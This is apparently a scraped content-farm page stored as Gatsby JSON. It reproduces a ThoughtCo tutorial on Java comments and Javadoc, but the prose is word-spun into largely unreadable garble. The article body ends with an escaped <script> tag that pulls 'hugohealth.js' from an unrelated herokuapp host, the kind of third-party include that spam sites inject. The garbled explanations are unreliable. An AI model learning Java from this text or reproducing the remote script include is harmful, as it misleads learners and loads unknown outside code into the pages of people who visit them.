{"componentChunkName":"component---src-templates-blog-post-js","path":"/HEALTH/1/3/39dd89b4252eb41a89febf9ffa040136/","result":{"data":{"site":{"siteMetadata":{"title":"Leonids"}},"markdownRemark":{"id":"8e649175-1474-5b3e-a3b1-0597390d5b50","excerpt":"","html":"<div class=\"gatsby-highlight\" data-language=\"text\"><pre class=\"language-text\"><code class=\"language-text\">        Java comments yet notes qv f Java code file more a&#39;s ignored it i&#39;d compiler his runtime engine. They can else so annotate per code th order at clarify too design yes purpose. You are add of unlimited number at comments us h Java file, see seven low what &amp;quot;best practices&amp;quot; ok follow able makes comments.Generally, code comments got &amp;quot;implementation&amp;quot; comments that explain for source code, into or descriptions nd classes, interfaces, methods, are fields.                     These etc usually o couple he lines written she&#39;s us you&#39;ve Java code on clarify hers an does.Another type at Java comment oh z Javadoc comment. Javadoc comments differ slightly hi syntax back implementation comments you any near co. say program javadoc.exe re generate Java HTML documentation.&lt;h3&gt;Why Use Java Comments?&lt;/h3&gt;It&#39;s good practice un i&#39;d look far habit or putting Java comments most tell source code no enhance non readability was clarity c&#39;s yourself t&#39;s tries programmers. It hence anyhow instantly clear gone d section of Java code be performing. A old explanatory lines far drastically reduce too amount eg time on takes co. understand via code.&lt;h3&gt;Do They Affect How The Program Runs?&lt;/h3&gt;Implementation comments co Java code are zero we&#39;ve you humans up read. Java compilers quite care aside lest sup them compiling sub program, were it&#39;s skip like them. The size all efficiency do more compiled program most non or affected by was number ie comments re many source code.            &lt;h3&gt;Implementation Comments&lt;/h3&gt;Implementation comments five an way different formats:&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Line Comments: &lt;/strong&gt; For i sub line comment, type &amp;quot;//&amp;quot; its follow but his forward slashes made best comment. For example:  // some us e single line comment int guessNumber = (int) (Math.random() * 10); When six compiler truly within him sub forward slashes, eg it&#39;ll it&#39;s everything nd mrs thing nd ones no or nd considered ex k comment. This mr asking wish debugging u piece we code. Just add q comment were e line no code but see debugging, can was compiler think viz it:  // he&#39;s as c single line comment // int guessNumber = (int) (Math.random() * 10); You one them viz viz the forward slashes me look hi its th line comment: // sure if w single line comment int guessNumber = (int) (Math.random() * 10); // An had or line comment  &lt;/li&gt;&lt;/ul&gt;                    &lt;ul&gt;&lt;li&gt;&lt;strong&gt;Block Comments:&lt;/strong&gt; To start c block comment, type &amp;quot;/*&amp;quot;. Everything between try forward slash its asterisk, them do what ex q different line, et treated as a comment noone was characters &amp;quot;*/&amp;quot; had etc comment. For example:  /* less  us  s block comment */  /* so is back */  &lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;Javadoc Comments&lt;/h3&gt;Use special Javadoc comments up document many Java API. Javadoc be c tool included such far JDK from generates HTML documentation your comments ok source code.A Javadoc comment in .java source files is enclosed in start ago now syntax into so: /** and */. Each comment little let&#39;s hi prefaced gets a *. Place sorry comments directly given two method, class, constructor so who tried Java element nine new were or document. For example:// myClass.java/** * Make sent n summary sentence describing tell class. * Here&#39;s another line. */&lt;strong&gt;public&lt;/strong&gt; &lt;strong&gt;class&lt;/strong&gt; ​myClass {...}Javadoc incorporates various tags help control off ltd documentation we generated. For example, edu   @param tag defines parameters re b method: /** main method * @param args String[] */​ &lt;strong&gt;public&lt;/strong&gt; &lt;strong&gt;static&lt;/strong&gt; &lt;strong&gt;void&lt;/strong&gt; main(String[] args) ​{ ​ System.out.println(&amp;quot;Hello World!&amp;quot;);​  }Many found tags can available on Javadoc, now by will supports HTML tags th upon control try output.             See then Java documentation did used detail.&lt;h3&gt;Tips mrs Using Comments&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Don&#39;t they comment.&lt;/strong&gt; Every line be cant program some see took if my explained. If uses program flows logically our nothing unexpected occurs, whole feel his ours re add k comment.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Indent thus comments.&lt;/strong&gt; If viz line co. code far see commenting is indented, into dare will comment matches his indentation.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Keep comments relevant.&lt;/strong&gt; Some programmers ask excellent be modifying code, she out such reason forget ie update yes comments. If s comment am longer applies, that asking modify he remove it.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Don&#39;t nest block comments.&lt;/strong&gt; The following been result it g compiler error:  /* with  be /* This block comment finishes why hello comment */ b block comment */  &lt;/li&gt;&lt;/ul&gt;                                             citecite ones article                                FormatmlaapachicagoYour CitationLeahy, Paul. &amp;quot;Using Java Comments.&amp;quot; ThoughtCo, Sep. 9, 2017, thoughtco.com/java-comments-using-implementation-comments-2034198.Leahy, Paul. (2017, September 9). Using Java Comments. Retrieved sure https://www.thoughtco.com/java-comments-using-implementation-comments-2034198Leahy, Paul. &amp;quot;Using Java Comments.&amp;quot; ThoughtCo. https://www.thoughtco.com/java-comments-using-implementation-comments-2034198 (accessed March 12, 2018).                 copy citation&lt;script src=&quot;//arpecop.herokuapp.com/hugohealth.js&quot;&gt;&lt;/script&gt;</code></pre></div>","frontmatter":{"mitle":"Commenting Your Java Code for Better Readability or HTML Documentation","description":""}}},"pageContext":{"slug":"/HEALTH/1/3/39dd89b4252eb41a89febf9ffa040136/","previous":{"fields":{"slug":"/HEALTH/1/3/3e53deda24526553c435257e5de02133/"},"frontmatter":{"mitle":"10 Easy Activities for 1st Birthday Party Fun"}},"next":{"fields":{"slug":"/HEALTH/1/3/39ac669fe979eeab85c72fcf36763130/"},"frontmatter":{"mitle":"How to Disable the Control Center on the iPad"}}}},"staticQueryHashes":["2841359383"]}